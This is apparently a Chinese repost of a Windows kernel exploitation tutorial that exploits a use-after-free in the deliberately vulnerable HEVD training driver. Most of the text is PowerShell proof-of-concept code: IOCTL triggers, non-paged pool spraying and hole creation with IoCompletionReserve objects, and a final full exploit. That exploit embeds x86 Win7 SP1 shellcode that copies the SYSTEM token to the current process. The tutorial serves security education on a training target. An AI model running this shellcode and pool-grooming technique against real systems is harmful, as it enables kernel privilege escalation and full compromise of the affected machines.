windows内核exploit训练项目HackSysExtremeVulnerableDriver(HEVD)-释放重引用

来源:互联网 发布:淘宝店铺做淘客链接 编辑:程序博客网 时间:2024/06/13 02:19

Hola,欢迎回到Windows exploit开发系列教程的第15部分。今天我们还有一篇关于pwn@HackSysTeam的有漏洞的驱动程序的文章。在这篇文章中,我们将利用释放重引用漏洞,这将是第一个比较复杂的漏洞类型!我建议读者阅读下面列出的提供了对内核池内存和预留对象的全面解释的资源。有关设置调试环境的更多详细信息,请参阅第10部分。
资源
+ HackSysExtremeVulnerableDriver (@HackSysTeam) - 这里
+ HackSysTeam-PSKernelPwn (@FuzzySec) - 这里
+ Windows 7内存池exploit (Tarjei Mandt) - 这里
+ Windows 7中的保留对象 (@j00ru) - 这里

应对挑战

这篇文章的这部分略有不同,因为UAF漏洞中涉及到许多驱动程序函数。我们将轮流查看它们中的每一个,因为这样的细节是必要的。

AllocateUaFObject

NTSTATUS AllocateUaFObject() {    NTSTATUS Status = STATUS_SUCCESS;    PUSE_AFTER_FREE UseAfterFree = NULL;    PAGED_CODE();    __try {        DbgPrint("[+] Allocating UaF Object\n");        // Allocate Pool chunk        UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,                                                              sizeof(USE_AFTER_FREE),                                                              (ULONG)POOL_TAG);        if (!UseAfterFree) {            // Unable to allocate Pool chunk            DbgPrint("[-] Unable to allocate Pool chunk\n");            Status = STATUS_NO_MEMORY;            return Status;        }        else {            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));            DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);        }        // Fill the buffer with ASCII 'A'        RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);        // Null terminate the char buffer        UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';        // Set the object Callback function        UseAfterFree->Callback = &UaFObjectCallback;        // Assign the address of UseAfterFree to a global variable        g_UseAfterFreeObject = UseAfterFree;        DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);        DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);        DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);    }    __except (EXCEPTION_EXECUTE_HANDLER) {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%X\n", Status);    }    return Status;}

该函数分配一个非分页的池块,用A填充它,前面加一个回调指针最后添加一个null终止符。在IDA中看到的也差不多,下面的截图可以作为参考。请注意,对象大小为0x58字节,池标记为Hack(小端)。
这里写图片描述
我们可以使用以下PowerShell POC来调用该函数。

Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]    public static extern IntPtr CreateFile(        String lpFileName,        UInt32 dwDesiredAccess,        UInt32 dwShareMode,        IntPtr lpSecurityAttributes,        UInt32 dwCreationDisposition,        UInt32 dwFlagsAndAttributes,        IntPtr hTemplateFile);    [DllImport("Kernel32.dll", SetLastError = true)]    public static extern bool DeviceIoControl(        IntPtr hDevice,        int IoControlCode,        byte[] InBuffer,        int nInBufferSize,        byte[] OutBuffer,        int nOutBufferSize,        ref int pBytesReturned,        IntPtr Overlapped);    [DllImport("kernel32.dll")]    public static extern uint GetLastError();}"@$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)if ($hDevice -eq -1) {    echo "`n[!] Unable to get driver handle..`n"    Return} else {    echo "`n[>] Driver information.."    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"    echo "[+] Handle: $hDevice"}# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

这里写图片描述

FreeUaFObject

NTSTATUS FreeUaFObject() {    NTSTATUS Status = STATUS_UNSUCCESSFUL;    PAGED_CODE();    __try {        if (g_UseAfterFreeObject) {            DbgPrint("[+] Freeing UaF Object\n");            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));            DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);#ifdef SECURE            // Secure Note: This is secure because the developer is setting            // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);            g_UseAfterFreeObject = NULL;#else            // Vulnerability Note: This is a vanilla Use After Free vulnerability            // because the developer is not setting 'g_UseAfterFreeObject' to NULL.            // Hence, g_UseAfterFreeObject still holds the reference to stale pointer            // (dangling pointer)            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);#endif            Status = STATUS_SUCCESS;        }    }    __except (EXCEPTION_EXECUTE_HANDLER) {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%X\n", Status);    }    return Status;}

相当直截了当,函数通过引用标签值来释放池块。这就是包含漏洞的函数,因为在释放对象后,g_UseAfterFreeObject未设置为null,因此保留了一个陈旧的对象指针。再次我们用以下POC快速尝试一下。

Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]    public static extern IntPtr CreateFile(        String lpFileName,        UInt32 dwDesiredAccess,        UInt32 dwShareMode,        IntPtr lpSecurityAttributes,        UInt32 dwCreationDisposition,        UInt32 dwFlagsAndAttributes,        IntPtr hTemplateFile);    [DllImport("Kernel32.dll", SetLastError = true)]    public static extern bool DeviceIoControl(        IntPtr hDevice,        int IoControlCode,        byte[] InBuffer,        int nInBufferSize,        byte[] OutBuffer,        int nOutBufferSize,        ref int pBytesReturned,        IntPtr Overlapped);    [DllImport("kernel32.dll")]    public static extern uint GetLastError();}"@$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)if ($hDevice -eq -1) {    echo "`n[!] Unable to get driver handle..`n"    Return} else {    echo "`n[>] Driver information.."    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"    echo "[+] Handle: $hDevice"}# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

这里写图片描述
请注意,池块地址与上面分配的相同。

UseUaFObject

NTSTATUS UseUaFObject() {    NTSTATUS Status = STATUS_UNSUCCESSFUL;    PAGED_CODE();    __try {        if (g_UseAfterFreeObject) {            DbgPrint("[+] Using UaF Object\n");            DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);            DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);            DbgPrint("[+] Calling Callback\n");            if (g_UseAfterFreeObject->Callback) {                g_UseAfterFreeObject->Callback();            }            Status = STATUS_SUCCESS;        }    }    __except (EXCEPTION_EXECUTE_HANDLER) {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%X\n", Status);    }    return Status;}

此函数读入g_UseAfterFreeObject中的值并执行对象回调。如果我们使用以下POC调用此函数,我们基本上最终会调用到易失性内存,因为系统可以以任何它觉得合适的原因随意重新使用以前释放的池块。

Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]    public static extern IntPtr CreateFile(        String lpFileName,        UInt32 dwDesiredAccess,        UInt32 dwShareMode,        IntPtr lpSecurityAttributes,        UInt32 dwCreationDisposition,        UInt32 dwFlagsAndAttributes,        IntPtr hTemplateFile);    [DllImport("Kernel32.dll", SetLastError = true)]    public static extern bool DeviceIoControl(        IntPtr hDevice,        int IoControlCode,        byte[] InBuffer,        int nInBufferSize,        byte[] OutBuffer,        int nOutBufferSize,        ref int pBytesReturned,        IntPtr Overlapped);    [DllImport("kernel32.dll")]    public static extern uint GetLastError();}"@$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)if ($hDevice -eq -1) {    echo "`n[!] Unable to get driver handle..`n"    Return} else {    echo "`n[>] Driver information.."    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"    echo "[+] Handle: $hDevice"}# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

AllocateFakeObject

最后,稍微设计一下,我们有一个允许在非分页池上分配一个伪造的对象的驱动函数。这非常方便,因为此函数允许我们分配与原始UAF对象相同的对象。

NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {    NTSTATUS Status = STATUS_SUCCESS;    PFAKE_OBJECT KernelFakeObject = NULL;    PAGED_CODE();    __try {        DbgPrint("[+] Creating Fake Object\n");        // Allocate Pool chunk        KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,                                                               sizeof(FAKE_OBJECT),                                                               (ULONG)POOL_TAG);        if (!KernelFakeObject) {            // Unable to allocate Pool chunk            DbgPrint("[-] Unable to allocate Pool chunk\n");            Status = STATUS_NO_MEMORY;            return Status;        }        else {            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);        }        // Verify if the buffer resides in user mode        ProbeForRead((PVOID)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));        // Copy the Fake structure to Pool chunk        RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));        // Null terminate the char buffer        KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';        DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);    }    __except (EXCEPTION_EXECUTE_HANDLER) {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%X\n", Status);    }    return Status;}

调用此函数的POC如下所示。请注意,在这里,我们需要创建一个缓冲区并提供输入长度。

Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]    public static extern IntPtr CreateFile(        String lpFileName,        UInt32 dwDesiredAccess,        UInt32 dwShareMode,        IntPtr lpSecurityAttributes,        UInt32 dwCreationDisposition,        UInt32 dwFlagsAndAttributes,        IntPtr hTemplateFile);    [DllImport("Kernel32.dll", SetLastError = true)]    public static extern bool DeviceIoControl(        IntPtr hDevice,        int IoControlCode,        byte[] InBuffer,        int nInBufferSize,        byte[] OutBuffer,        int nOutBufferSize,        ref int pBytesReturned,        IntPtr Overlapped);    [DllImport("kernel32.dll")]    public static extern uint GetLastError();}"@$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)if ($hDevice -eq -1) {    echo "`n[!] Unable to get driver handle..`n"    Return} else {    echo "`n[>] Driver information.."    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"    echo "[+] Handle: $hDevice"}# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len 0x60[EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

这里写图片描述

Pwn!

游戏计划

OK,基本原理是直截了当的。我们(1)分配UAF对象(2)释放UAF对象(3)用伪造的对象替换池块(4)调用过时的UAF指针,最后用回调函数执行伪造对象中的代码。又棒又简单!我们在这里遇到的唯一问题是内存对齐和池合并,我再次建议您阅读Tarjei的论文。事实上,如果我们释放与其它空闲池块相邻的UAF对象,那么由于性能原因,分配器将合并这些块。如果发生这种情况,我们就几乎不太可能用伪造的对象替换UAF对象了。为了避免这种情况,我们需要使非分页池处于可预测状态,并强制驱动程序将UAF对象分配到稍后可以可靠覆盖的位置!

排除非分页池

我们的第一个目标是尽可能地填充非分页内核池的开始中的所有空白空间。为了做到这一点,我们将创建一堆大小接近我们UAF对象的对象。IoCompletionReserve对象是完美的候选对象,因为它们分配在非分页池上,大小为0x60!我们在喷射池之前先来看看IoCompletionReserve对象类型(对象类型可以用!object \ ObjectTypes列出)。
这里写图片描述
我们可以使用NtAllocateReserveObject函数创建IoCo对象。该函数返回一个创建对象的句柄,只要我们不释放句柄,对象就会保留在池中。在下面的POC中,我分两批喷射这些对象:(1)x10000个对象填满分散的池空间(2)另外x5000个对象但愿它们是连续的。为了方便调试,脚本将最后10个句柄dump到stdout,然后在WinDBG中自动初始化一个断点。

Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{    [DllImport("kernel32.dll", SetLastError = true)]    public static extern Byte CloseHandle(        IntPtr hObject);    [DllImport("ntdll.dll", SetLastError = true)]    public static extern int NtAllocateReserveObject(        ref IntPtr hObject,        UInt32  ObjectAttributes,        UInt32 ObjectType);    [DllImport("kernel32.dll", SetLastError = true)]    public static extern void DebugBreak();}"@function IoCo-PoolSpray {    echo "[+] Derandomizing NonPagedPool.."    $Spray = @()    for ($i=0;$i -lt 10000;$i++) {        $hObject = [IntPtr]::Zero        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)        if ($CallResult -eq 0) {            $Spray += $hObject        }    }    $Script:IoCo_hArray1 += $Spray    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"    echo "[+] Allocating sequential objects.."    $Spray = @()    for ($i=0;$i -lt 5000;$i++) {        $hObject = [IntPtr]::Zero        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)        if ($CallResult -eq 0) {            $Spray += $hObject        }    }    $Script:IoCo_hArray2 += $Spray    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"}echo "`n[>] Spraying non-paged kernel pool!"IoCo-PoolSprayecho "`n[>] Last 10 object handles:"for ($i=1;$i -lt 11; $i++) {    "{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())}echo "`n[>] Triggering WinDBG breakpoint.."[EVD]::DebugBreak()

你应该看到下面这样的东西,并在WinDBG中命中断点。
这里写图片描述
如果我们再看一下IoCompletionReserve类型,可以看到实际上分配了15000个对象!
这里写图片描述
让我们检查一下我们dump到stdout的一个句柄。
这里写图片描述
正如所料,它是一个IoCompletionReserve对象。此外,考虑到这是我们喷射的最后一个句柄,我们应该在非分页池上看到连续的分配。
这里写图片描述
哇,我们可以看到我们的对象的大小是0x60(96)字节并且有一些稳定的连续分配!作为最后一步,我们将向我们的POC添加一个例程,以便从第二个分配(总共2500个)中释放间隔的IoCompletionReserve对象从而在非分页池中创建一个空洞!

Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{    [DllImport("kernel32.dll", SetLastError = true)]    public static extern Byte CloseHandle(        IntPtr hObject);    [DllImport("ntdll.dll", SetLastError = true)]    public static extern int NtAllocateReserveObject(        ref IntPtr hObject,        UInt32  ObjectAttributes,        UInt32 ObjectType);    [DllImport("kernel32.dll", SetLastError = true)]    public static extern void DebugBreak();}"@function IoCo-PoolSpray {    echo "[+] Derandomizing NonPagedPool.."    $Spray = @()    for ($i=0;$i -lt 10000;$i++) {        $hObject = [IntPtr]::Zero        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)        if ($CallResult -eq 0) {            $Spray += $hObject        }    }    $Script:IoCo_hArray1 += $Spray    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"    echo "[+] Allocating sequential objects.."    $Spray = @()    for ($i=0;$i -lt 5000;$i++) {        $hObject = [IntPtr]::Zero        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)        if ($CallResult -eq 0) {            $Spray += $hObject        }    }    $Script:IoCo_hArray2 += $Spray    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"    echo "[+] Creating non-paged pool holes.."    for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {        $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])        if ($CallResult -ne 0) {            $FreeCount += 1        }    }    echo "[+] Free'd $FreeCount IoCo objects!"}echo "`n[>] Spraying non-paged kernel pool!"IoCo-PoolSprayecho "`n[>] Last 10 object handles:"for ($i=1;$i -lt 11; $i++) {    "{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())}echo "`n[>] Triggering WinDBG breakpoint.."[EVD]::DebugBreak()

这里写图片描述
这2500个可用的0x60字节的池块现在处于可预测的位置,并且它们中的每一个都被两个分配的块包围,从而防止它们合并!

通过EIP获得控制

是时候根据我们的计划把所有的东西组合在一起了。

Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]    public static extern IntPtr CreateFile(        String lpFileName,        UInt32 dwDesiredAccess,        UInt32 dwShareMode,        IntPtr lpSecurityAttributes,        UInt32 dwCreationDisposition,        UInt32 dwFlagsAndAttributes,        IntPtr hTemplateFile);    [DllImport("Kernel32.dll", SetLastError = true)]    public static extern bool DeviceIoControl(        IntPtr hDevice,        int IoControlCode,        byte[] InBuffer,        int nInBufferSize,        byte[] OutBuffer,        int nOutBufferSize,        ref int pBytesReturned,        IntPtr Overlapped);    [DllImport("kernel32.dll", SetLastError = true)]    public static extern Byte CloseHandle(        IntPtr hObject);    [DllImport("ntdll.dll", SetLastError = true)]    public static extern int NtAllocateReserveObject(        ref IntPtr hObject,        UInt32  ObjectAttributes,        UInt32 ObjectType);    [DllImport("kernel32.dll")]    public static extern uint GetLastError();}"@function IoCo-PoolSpray {    echo "[+] Derandomizing NonPagedPool.."    $Spray = @()    for ($i=0;$i -lt 10000;$i++) {        $hObject = [IntPtr]::Zero        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)        if ($CallResult -eq 0) {            $Spray += $hObject        }    }    $Script:IoCo_hArray1 += $Spray    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"    echo "[+] Allocating sequential objects.."    $Spray = @()    for ($i=0;$i -lt 5000;$i++) {        $hObject = [IntPtr]::Zero        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)        if ($CallResult -eq 0) {            $Spray += $hObject        }    }    $Script:IoCo_hArray2 += $Spray    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"    echo "[+] Creating non-paged pool holes.."    for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {        $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])        if ($CallResult -ne 0) {            $FreeCount += 1        }    }    echo "[+] Free'd $FreeCount IoCo objects!"}$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)if ($hDevice -eq -1) {    echo "`n[!] Unable to get driver handle..`n"    Return} else {    echo "`n[>] Driver information.."    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"    echo "[+] Handle: $hDevice"}echo "`n[>] Spraying non-paged kernel pool!"IoCo-PoolSprayecho "`n[>] Staging vulnerability.."# Allocate UAF Object#---# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECTecho "[+] Allocating UAF object"[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null# Free UAF Object#---# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECTecho "[+] Freeing UAF object"[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null# Fake Object allocation#---# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECTecho "[+] Spraying 5000 fake objects"$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60for ($i=0;$i -lt 5000;$i++){    [EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null}# Trigger stale callback#---# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECTecho "`n[>] Triggering UAF vulnerability!`n"[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

让我们在UseUaFObject函数中放置一个断点,其中回调指针被调用并运行我们最终的POC。
这里写图片描述

游戏结束

我们应该已经覆盖了整个过程,武装我们的POC只需用指向shellcode的指针替换回调指针。有关详细信息,请参阅下面的完整exploit。

Add-Type -TypeDefinition @"using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Security.Principal;public static class EVD{    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]    public static extern IntPtr CreateFile(        String lpFileName,        UInt32 dwDesiredAccess,        UInt32 dwShareMode,        IntPtr lpSecurityAttributes,        UInt32 dwCreationDisposition,        UInt32 dwFlagsAndAttributes,        IntPtr hTemplateFile);    [DllImport("Kernel32.dll", SetLastError = true)]    public static extern bool DeviceIoControl(        IntPtr hDevice,        int IoControlCode,        byte[] InBuffer,        int nInBufferSize,        byte[] OutBuffer,        int nOutBufferSize,        ref int pBytesReturned,        IntPtr Overlapped);    [DllImport("kernel32.dll", SetLastError = true)]    public static extern Byte CloseHandle(        IntPtr hObject);    [DllImport("kernel32.dll", SetLastError = true)]    public static extern IntPtr VirtualAlloc(        IntPtr lpAddress,        uint dwSize,        UInt32 flAllocationType,        UInt32 flProtect);    [DllImport("ntdll.dll", SetLastError = true)]    public static extern int NtAllocateReserveObject(        ref IntPtr hObject,        UInt32  ObjectAttributes,        UInt32 ObjectType);}"@function IoCo-PoolSpray {    echo "[+] Derandomizing NonPagedPool.."    $Spray = @()    for ($i=0;$i -lt 10000;$i++) {        $hObject = [IntPtr]::Zero        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)        if ($CallResult -eq 0) {            $Spray += $hObject        }    }    $Script:IoCo_hArray1 += $Spray    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"    echo "[+] Allocating sequential objects.."    $Spray = @()    for ($i=0;$i -lt 5000;$i++) {        $hObject = [IntPtr]::Zero        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)        if ($CallResult -eq 0) {            $Spray += $hObject        }    }    $Script:IoCo_hArray2 += $Spray    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"    echo "[+] Creating non-paged pool holes.."    for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {        $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])        if ($CallResult -ne 0) {            $FreeCount += 1        }    }    echo "[+] Free'd $FreeCount IoCo objects!"}# Compiled with Keystone-Engine# Hardcoded offsets for Win7 x86 SP1$Shellcode = [Byte[]] @(    #---[Setup]    0x60,                               # pushad    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]    #---[Copy System PID token]    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |    0x75, 0xED,                         # jnz                           ->|    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx    #---[Recover]    0x61,                               # popad    0xC3                                # ret)# Write shellcode to memoryecho "`n[>] Allocating ring0 payload.."[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())echo "[+] Payload size: $($Shellcode.Length)"echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)if ($hDevice -eq -1) {    echo "`n[!] Unable to get driver handle..`n"    Return} else {    echo "`n[>] Driver information.."    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"    echo "[+] Handle: $hDevice"}echo "`n[>] Spraying non-paged kernel pool!"IoCo-PoolSprayecho "`n[>] Staging vulnerability.."# Allocate UAF Object#---# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECTecho "[+] Allocating UAF object"[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null# Free UAF Object#---# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECTecho "[+] Freeing UAF object"[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null# Fake Object allocation#---# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECTecho "[+] Spraying 5000 fake objects"$Buffer = $ShellcodePointer + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60for ($i=0;$i -lt 5000;$i++){    [EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null}# Trigger stale callback#---# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECTecho "`n[>] Triggering UAF vulnerability!`n"[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

这里写图片描述
原文地址:http://www.fuzzysecurity.com/tutorials/expDev/19.html

阅读全文
0 0